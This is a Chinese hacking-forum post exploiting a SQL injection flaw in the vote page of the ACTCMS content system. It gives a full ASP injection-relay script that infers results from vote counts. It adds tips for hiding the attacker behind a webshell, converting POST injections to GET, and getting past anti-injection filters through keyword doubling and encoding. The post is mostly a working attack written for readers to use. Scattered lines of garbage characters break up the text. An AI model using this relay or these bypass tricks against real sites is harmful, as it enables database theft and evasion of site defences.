注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
* X0 V% X2 E6 P* a$ n  c$ D链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
5 F- n% F/ c/ {转载请注明以上
3 W: q% X# v0 z0 \9 p漏洞文件：
1 K/ ?& f1 N# |8 v1 ~2 |$ F/ j/plus/vote/vote.asp
$ O( r) S1 Y, b6 `' A' L代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
6 p0 L, L$ X6 a/ x2 ]
% V( _3 s3 W  H! i8 h; T! p2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

+ I; c# W6 E) Y4 x. ]- I3    response.end   

8 T. G- A- c5 h  j% P  }4    end if   

5    for i=1 to request("voted").count   
8 w, P" N! c& y5 b* e
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   

8....   
6 Q# E- X8 K( X3 f, M/ C( A
9response.Redirect "index.asp?id="&id&""   
  `. z0 V  l0 a# i' K  R投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
            失败票数不变
2 R5 e" f- `; n如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

2009-12-27 13:20

利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
1 K* v9 q- o5 x' c+ u- p
$ Q: V5 H& d1 B$ l本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
( Z9 W; g; Q4 O8 U先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
$ |2 @# Z% F; n7 n1 i* l2 V7 @注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
" F5 u3 H2 u0 G* v8 @1 t4 a; b
: o, ?; o* f) m& Q0 @然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
# _, Q7 N( r3 `8 n
0 a9 t) i6 u" p0 @: p02JmdcwName=request("jmdcw")
. G% O8 b; a2 k8 `
3 F6 J: m/ Q1 t" f) ^& b3 p# B03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

# l8 ?8 }5 q" S) j04JmStr="id=1&voted=-1 or 1="&JmdcwName
8 F* c, m0 L7 ]+ O5 J1 U6 L
05JmStr=URLEncoding(JmStr)
2 V: x$ n3 Q0 B
4 V6 j0 ^8 S: T) w8 d& R. Z06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

, ?% P+ s8 ^" T7 U5 i07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

  D  _7 _$ A' V08testurl=testurl & "?" & JmStr

1 w% K7 k9 O  Q: S! i% H09JMUrl=JMUrl & "?" & JmStr

/ f- O+ J$ v$ C10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
9 o  [" d1 ?& [' c
& t8 l: p% b: z12JmCok=replace(JmCok,chr(32),"%20")  

13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

* o# V% F- T0 h* ^: X14  

" o9 l# s( S! r( d15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

' R- }: @+ u* c7 }+ L7 }16  

17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

, g1 m- [& d: v5 f18response.write test1&""&test2&""
" f( B# ~* y. X" M/ P. @
19  

20if test1=test2 then '如前后记录相等，表示失败

8 i% g; k* l8 P/ f- }) k21  response.write "failed"
: {2 ^' }$ E5 X. x8 T( D5 a$ _
( v* I9 B8 |' P, k6 o. ^- l22else
2 }9 @4 v0 N4 _
6 ?. y7 {, K. t: R23  response.write "succeed"

24end if  
4 J/ j) _0 e" F- c8 f
25  
( m' C2 q3 D+ d0 T& P- r, l+ y
26response.write "by 3x"
: j/ K6 c" w6 C7 _+ O
27  
5 |8 }7 D9 J! x7 F/ K
28  
4 i% x& ^/ b1 ]  E. Q
* k0 ?# ?) {; c4 l' Y5 {, n* m29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

30Dim Http
- S1 \% E: ^: O# ^
9 ]+ j  d5 q: E+ y( [31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
/ ]$ J6 P. S. i% R" n
32With Http
- J5 ~) V: m- {( {" x8 i
33  

# n4 d" L& }5 h" c6 B% g% c34.Open "GET",PostUrl,False

4 t* x. J+ g9 X- G$ W  I/ r) v7 Y35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
: T- W* a5 f% u& v% k. l1 U
36.SetRequestHeader "Referer",PostRef

0 M6 ~: P8 d! I37.SetRequestHeader "Cookie",PostCok
% Z- L: o: \$ U- ]( A
38.Send ()
' K8 c7 {: g0 e/ n7 N% i8 R/ X
39PostData = .ResponseBody
/ G* T! [/ @; {0 |1 B: O: L8 i
40End With
! k0 F+ R  Y) G! T  M: v6 ^+ G8 f* j8 P
5 o9 U& u4 q  V9 `% F# T41Set Http = Nothing

0 f  h# E/ ~3 M6 p8 g: [/ t42PostData =bytes2BSTR(PostData)
% x5 }  c7 s3 `; u8 d5 y
43End Function

44  

, t' Q. H3 P/ F; D45  

46Function bytes2BSTR(vIn)

/ a4 A6 L+ t3 H$ H# e47Dim strReturn

- V/ _6 T& G% J3 R+ _. S48Dim I, ThisCharCode, NextCharCode

% F* {2 \% n# R9 B' u49strReturn = ""

50For I = 1 To LenB(vIn)

51ThisCharCode = AscB(MidB(vIn, I, 1))
" Z" R) Z' ^0 ]; {& i- {
52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)

+ A7 J* }% d( `; F54Else
& W$ e8 B- c, b
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
# F1 N3 {4 p; o& m2 x) u# }
4 h* ]5 f2 f0 b/ e' Q7 s2 D- [56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
4 u7 r3 B7 E" P2 @! r
5 i* T! p6 a4 |57I = I + 1
& K' b# C/ x# G6 `. P" q4 }6 g8 y
58End If
/ v( t" \% G+ t
! U' `+ g+ W4 z) r2 j- x59Next

! ?7 u- E# u2 C) j60bytes2BSTR = strReturn
/ t) e# }8 T' k+ B' B
" C6 F3 X% m' k$ @" ]' B: w3 _61End Function
' f% ^0 ^# V& d: E' |
7 Q8 Q) X8 s+ k62  
& |# ^/ y5 t) L% x+ l
63Function URLEncoding(vstrin)  
+ z) ~! I5 i, z
64strReturn=""

65Dim i

7 K6 [" j) O  @5 X" }4 X9 g. t$ E66For i=1 To Len(vstrin)
; w' s* @2 @; @: G, V
- a5 Q: d3 Y9 Y8 g! g" q5 A67ThisChr=Mid(vstrin,i,1)
) D* K% x' q' X& G! K+ H
68if Abs(Asc(ThisChr))< &HFF Then
& L3 n+ {* n7 p- h5 L+ G1 O; c" z; @
69strReturn=strReturn & ThisChr

- P* M( F% p! C! l" O- ?70Else
& F# H7 }/ Y. Z: N; L# {* I
71InnerCode=Asc(ThisChr)
, {  s5 C9 z  B4 N9 N# l3 @9 i7 H
72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000

74End If

75Hight1=(InnerCode And &HFF00) \&HFF
& E" U" [* M# u" p6 x
8 }0 o" p& G. `76Low1=InnerCode And &HFF
  }% ^2 |( |" [8 L" {7 n4 W) h
, b3 t) W3 ~: }; H7 j7 P% Z! u77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
8 p% V* r" w/ _9 W# d& @: x
78End if
; d( Y( |( ^/ Z2 M) R
79Next
0 t9 y+ O! s  E1 D; S8 K+ @
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
, J! f1 i# k! a% m. [$ y* o  W
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

6 v% [' V% \& `5 Y! D. c6 q: @83URLEncoding=strReturn
& o5 `% Q1 b: Q" G7 y1 l+ Y( T
84End Function

85  

# A! `$ B& K- F( e1 v86function getSt(body)

87  startpot=instr(body,"投票人数：")+len("投票人数：")
% o+ ?+ Z& ]& |0 x0 L0 P5 w
88  endpot=instr(startpot,body," ")
" w( N& \$ o2 q' i( X7 i' y
& Y) k3 `3 l$ I; P9 t( R  A- T89  getSt=mid(body,startpot,endpot-startpot)
. i* p& ~3 t" {; w3 A- Y
90end function

91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
/ z: Z  ~  I& w# o- _, _投票成功：
. `# ]8 p, A$ v, x" F" t* P5 ohttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

  g1 l, y/ E! w% k4 ^2009-12-27 13:29
投票失败
9 S, M, p/ U! {. Shttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

$ z3 p/ g/ q! k0 W) p+ m: |2009-12-27 13:29
+ J* g8 r; k% R' h, x% z-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
% r% `7 v4 m$ L5 F. a% M所以失败。。。不好意思。。。
. t+ f/ ?  {6 S! |-------------------------------------------------------------------------------
" V# ?) Q( R7 c% D9 R
. q# {$ c1 J, z2 j6 E注入中转的一些其他应用
; a, Y  Y6 V' O' U3 p( H其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
5 m8 I! v; h' ]" z) X  l; A/ \1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
+ L$ J( L0 G! H" D4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
1 G) r, {7 |' H7 C' i/ Y; P